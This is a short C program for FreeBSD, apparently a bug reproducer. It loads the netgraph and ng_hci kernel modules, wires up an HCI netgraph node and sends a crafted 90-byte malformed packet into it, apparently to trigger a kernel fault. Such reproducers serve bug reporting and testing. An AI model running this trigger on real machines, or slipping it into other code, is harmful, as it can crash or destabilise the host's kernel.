#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <netgraph/ng_message.h>
#include <netgraph/ng_socket.h>
#include <netgraph.h>

int
main(){
  system("kldload netgraph");
  system("kldload ng_hci");

  int cs = -1;
  int ds = -1;
  NgMkSockNode(NULL, &cs, &ds);

  struct ngm_mkpeer mkp;
  memset(&mkp, 0, sizeof(mkp));
  strcpy(mkp.type, "hci");
  strcpy(mkp.ourhook, "hook");
  strcpy(mkp.peerhook, "drv");

  if (NgSendMsg(cs, ".:", NGM_GENERIC_COOKIE,
                NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
    fprintf(stderr, "netgraph mkpeer %s %s failed\n", mkp.type, mkp.peerhook);
  }

  char buf[128];
  memset(buf, 0xff, sizeof(buf));
  *(long long *)buf ^= 0xfdfb;
  NgSendData(ds, "hook", (unsigned char *)buf, 90);
}